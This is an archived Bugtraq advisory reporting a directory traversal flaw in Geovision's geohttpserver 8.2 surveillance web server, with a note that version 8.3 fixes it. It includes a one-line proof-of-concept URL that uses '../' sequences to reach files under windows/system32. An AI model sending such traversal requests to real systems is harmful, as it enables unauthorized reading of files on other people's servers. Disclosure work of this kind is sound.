Directory traversal vulnerability in Geovision Digital Video Surveillance System (geohttpserver)

To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: Directory traversal vulnerability in Geovision Digital Video Surveillance System (geohttpserver)
From: dejan.levaja@xxxxxxxxx
Date: Wed, 11 Feb 2009 08:49:45 -0700
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm

Hi.
There is a Directory traversal vulnerability in Geovision Digital Video 
Surveillance
System (geohttpserver)version 8.2.

POC:
http://remotehost/../../../../../../windows/system32/whatever.something

PATCH:
Vendor has published the new version (8.3)


Regards,
Dejan Levaja 
NSS d.o.o.
dejan[dot]levaja[at]netsec[dot]rs

Prev by Date: [USN-717-2] Firefox vulnerabilities
Next by Date: Re: Another SQL injection in ProFTPd with mod_mysql (probably postgres as well)
Previous by thread: [USN-717-2] Firefox vulnerabilities
Next by thread: [SECURITY] [DSA 1722-1] New libpam-heimdal packages fix local privilege escalation
Index(es):
- Date
- Thread